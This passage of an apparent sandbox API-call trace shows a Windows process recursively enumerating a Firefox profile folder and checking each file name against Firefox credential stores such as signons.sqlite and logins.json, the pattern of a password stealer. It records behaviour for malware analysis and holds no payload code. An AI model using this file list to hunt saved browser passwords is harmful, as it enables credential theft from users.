(hMem=0x746ad0) returned 0x0 [0048.147] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport") returned 94 [0048.147] lstrlenA (lpString="\\*.*") returned 4 [0048.147] LocalAlloc (uFlags=0x40, uBytes=0xe3) returned 0x74d998 [0048.147] lstrcpyA (in: lpString1=0x74d998, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport" [0048.147] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport\\*.*" [0048.147] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport\\*.*", lpFindFileData=0xef8c8 | out: lpFindFileData=0xef8c8) returned 0x72dcd0 [0048.148] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.148] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef8c8 | out: lpFindFileData=0xef8c8) returned 1 [0048.148] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.148] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.148] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef8c8 | out: lpFindFileData=0xef8c8) returned 0 [0048.148] FindClose (in: hFindFile=0x72dcd0 | out: hFindFile=0x72dcd0) returned 1 [0048.148] LocalFree (hMem=0x74d998) returned 0x0 [0048.148] LocalFree (hMem=0x74f980) returned 0x0 [0048.148] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.148] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.148] lstrlenA (lpString="healthreport.sqlite") returned 19 [0048.148] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="logins.json") returned 0x0 [0048.148] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons.txt") returned 0x0 [0048.148] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.148] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.148] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.148] lstrcmpiA (lpString1=".", lpString2="indexedDB") returned -1 [0048.148] lstrcmpiA (lpString1="..", lpString2="indexedDB") returned -1 [0048.148] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.148] lstrlenA (lpString="\\") returned 1 [0048.148] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x746ad0 [0048.148] lstrcpyA (in: lpString1=0x746ad0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.148] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.148] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0048.148] lstrlenA (lpString="indexedDB") returned 9 [0048.148] LocalAlloc (uFlags=0x40, uBytes=0xdc) returned 0x74f980 [0048.148] lstrcpyA (in: lpString1=0x74f980, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.148] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="indexedDB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB" [0048.148] LocalFree (hMem=0x746ad0) returned 0x0 [0048.148] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB") returned 91 [0048.148] lstrlenA (lpString="\\*.*") returned 4 [0048.148] LocalAlloc (uFlags=0x40, uBytes=0xe0) returned 0x746ad0 [0048.148] lstrcpyA (in: lpString1=0x746ad0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB" [0048.148] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\*.*" [0048.148] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\*.*", lpFindFileData=0xef8c8 | out: lpFindFileData=0xef8c8) returned 0x72dcd0 [0048.148] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.148] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef8c8 | out: lpFindFileData=0xef8c8) returned 1 [0048.148] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.148] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.148] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef8c8 | out: lpFindFileData=0xef8c8) returned 1 [0048.148] lstrcmpiA (lpString1=".", lpString2="moz-safe-about+home") returned -1 [0048.148] lstrcmpiA (lpString1="..", lpString2="moz-safe-about+home") returned -1 [0048.148] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB") returned 91 [0048.148] lstrlenA (lpString="\\") returned 1 [0048.148] LocalAlloc (uFlags=0x40, uBytes=0xdd) returned 0x74fa68 [0048.149] lstrcpyA (in: lpString1=0x74fa68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB" [0048.149] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\" [0048.149] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\") returned 92 [0048.149] lstrlenA (lpString="moz-safe-about+home") returned 19 [0048.149] LocalAlloc (uFlags=0x40, uBytes=0xf0) returned 0x76e840 [0048.149] lstrcpyA (in: lpString1=0x76e840, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\" [0048.149] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\", lpString2="moz-safe-about+home" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home" [0048.149] LocalFree (hMem=0x74fa68) returned 0x0 [0048.149] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home") returned 111 [0048.149] lstrlenA (lpString="\\*.*") returned 4 [0048.149] LocalAlloc (uFlags=0x40, uBytes=0xf4) returned 0x74fa68 [0048.149] lstrcpyA (in: lpString1=0x74fa68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home" [0048.149] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\*.*" [0048.149] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\*.*", lpFindFileData=0xef760 | out: lpFindFileData=0xef760) returned 0x72dd50 [0048.149] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.149] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef760 | out: lpFindFileData=0xef760) returned 1 [0048.149] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.149] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.149] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef760 | out: lpFindFileData=0xef760) returned 1 [0048.149] StrStrIA (lpFirst=".metadata", lpSrch="signons.sqlite") returned 0x0 [0048.149] lstrlenA (lpString=".metadata") returned 9 [0048.149] StrStrIA (lpFirst=".metadata", lpSrch="logins.json") returned 0x0 [0048.149] StrStrIA (lpFirst=".metadata", lpSrch="signons.txt") returned 0x0 [0048.149] StrStrIA (lpFirst=".metadata", lpSrch="signons2.txt") returned 0x0 [0048.149] StrStrIA (lpFirst=".metadata", lpSrch="signons3.txt") returned 0x0 [0048.149] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef760 | out: lpFindFileData=0xef760) returned 1 [0048.149] lstrcmpiA (lpString1=".", lpString2="idb") returned -1 [0048.149] lstrcmpiA (lpString1="..", lpString2="idb") returned -1 [0048.149] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home") returned 111 [0048.149] lstrlenA (lpString="\\") returned 1 [0048.149] LocalAlloc (uFlags=0x40, uBytes=0xf1) returned 0x74fb68 [0048.149] lstrcpyA (in: lpString1=0x74fb68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home" [0048.149] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\" [0048.149] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\") returned 112 [0048.149] lstrlenA (lpString="idb") returned 3 [0048.149] LocalAlloc (uFlags=0x40, uBytes=0xf4) returned 0x74fc68 [0048.149] lstrcpyA (in: lpString1=0x74fc68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\" [0048.149] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\", lpString2="idb" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb" [0048.149] LocalFree (hMem=0x74fb68) returned 0x0 [0048.149] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb") returned 115 [0048.149] lstrlenA (lpString="\\*.*") returned 4 [0048.150] LocalAlloc (uFlags=0x40, uBytes=0xf8) returned 0x74fb68 [0048.150] lstrcpyA (in: lpString1=0x74fb68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb" [0048.150] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\*.*" [0048.150] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\*.*", lpFindFileData=0xef5f8 | out: lpFindFileData=0xef5f8) returned 0x72dd90 [0048.150] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.150] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5f8 | out: lpFindFileData=0xef5f8) returned 1 [0048.150] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.150] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.150] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5f8 | out: lpFindFileData=0xef5f8) returned 1 [0048.150] lstrcmpiA (lpString1=".", lpString2="818200132aebmoouht") returned -1 [0048.150] lstrcmpiA (lpString1="..", lpString2="818200132aebmoouht") returned -1 [0048.150] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb") returned 115 [0048.150] lstrlenA (lpString="\\") returned 1 [0048.150] LocalAlloc (uFlags=0x40, uBytes=0xf5) returned 0x75c118 [0048.150] lstrcpyA (in: lpString1=0x75c118, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb" [0048.150] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\" [0048.150] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\") returned 116 [0048.150] lstrlenA (lpString="818200132aebmoouht") returned 18 [0048.150] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x75c218 [0048.150] lstrcpyA (in: lpString1=0x75c218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\" [0048.150] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\", lpString2="818200132aebmoouht" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" [0048.150] LocalFree (hMem=0x75c118) returned 0x0 [0048.150] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned 134 [0048.150] lstrlenA (lpString="\\*.*") returned 4 [0048.150] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x75c328 [0048.150] lstrcpyA (in: lpString1=0x75c328, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" [0048.150] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*" [0048.150] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*", lpFindFileData=0xef490 | out: lpFindFileData=0xef490) returned 0x72ddd0 [0048.150] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.150] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef490 | out: lpFindFileData=0xef490) returned 1 [0048.150] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.150] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.150] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef490 | out: lpFindFileData=0xef490) returned 0 [0048.150] FindClose (in: hFindFile=0x72ddd0 | out: hFindFile=0x72ddd0) returned 1 [0048.150] LocalFree (hMem=0x75c328) returned 0x0 [0048.150] LocalFree (hMem=0x75c218) returned 0x0 [0048.150] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5f8 | out: lpFindFileData=0xef5f8) returned 1 [0048.150] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.150] lstrlenA (lpString="818200132aebmoouht.sqlite") returned 25 [0048.150] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="logins.json") returned 0x0 [0048.150] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons.txt") returned 0x0 [0048.150] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.150] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.151] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5f8 | out: lpFindFileData=0xef5f8) returned 0 [0048.151] FindClose (in: hFindFile=0x72dd90 | out: hFindFile=0x72dd90) returned 1 [0048.151] LocalFree (hMem=0x74fb68) returned 0x0 [0048.151] LocalFree (hMem=0x74fc68) returned 0x0 [0048.151] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef760 | out: lpFindFileData=0xef760) returned 0 [0048.151] FindClose (in: hFindFile=0x72dd50 | out: hFindFile=0x72dd50) returned 1 [0048.151] LocalFree (hMem=0x74fa68) returned 0x0 [0048.151] LocalFree (hMem=0x76e840) returned 0x0 [0048.151] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef8c8 | out: lpFindFileData=0xef8c8) returned 0 [0048.151] FindClose (in: hFindFile=0x72dcd0 | out: hFindFile=0x72dcd0) returned 1 [0048.151] LocalFree (hMem=0x746ad0) returned 0x0 [0048.151] LocalFree (hMem=0x74f980) returned 0x0 [0048.151] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.151] StrStrIA (lpFirst="key3.db", lpSrch="signons.sqlite") returned 0x0 [0048.151] lstrlenA (lpString="key3.db") returned 7 [0048.151] StrStrIA (lpFirst="key3.db", lpSrch="logins.json") returned 0x0 [0048.151] StrStrIA (lpFirst="key3.db", lpSrch="signons.txt") returned 0x0 [0048.151] StrStrIA (lpFirst="key3.db", lpSrch="signons2.txt") returned 0x0 [0048.151] StrStrIA (lpFirst="key3.db", lpSrch="signons3.txt") returned 0x0 [0048.151] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.151] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons.sqlite") returned 0x0 [0048.151] lstrlenA (lpString="localstore.rdf") returned 14 [0048.151] StrStrIA (lpFirst="localstore.rdf", lpSrch="logins.json") returned 0x0 [0048.151] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons.txt") returned 0x0 [0048.151] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons2.txt") returned 0x0 [0048.151] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons3.txt") returned 0x0 [0048.151] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.151] StrStrIA (lpFirst="marionette.log", lpSrch="signons.sqlite") returned 0x0 [0048.151] lstrlenA (lpString="marionette.log") returned 14 [0048.151] StrStrIA (lpFirst="marionette.log", lpSrch="logins.json") returned 0x0 [0048.151] StrStrIA (lpFirst="marionette.log", lpSrch="signons.txt") returned 0x0 [0048.151] StrStrIA (lpFirst="marionette.log", lpSrch="signons2.txt") returned 0x0 [0048.151] StrStrIA (lpFirst="marionette.log", lpSrch="signons3.txt") returned 0x0 [0048.151] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.151] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons.sqlite") returned 0x0 [0048.151] lstrlenA (lpString="mimeTypes.rdf") returned 13 [0048.151] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="logins.json") returned 0x0 [0048.151] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons.txt") returned 0x0 [0048.151] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons2.txt") returned 0x0 [0048.151] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons3.txt") returned 0x0 [0048.151] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.151] lstrcmpiA (lpString1=".", lpString2="minidumps") returned -1 [0048.151] lstrcmpiA (lpString1="..", lpString2="minidumps") returned -1 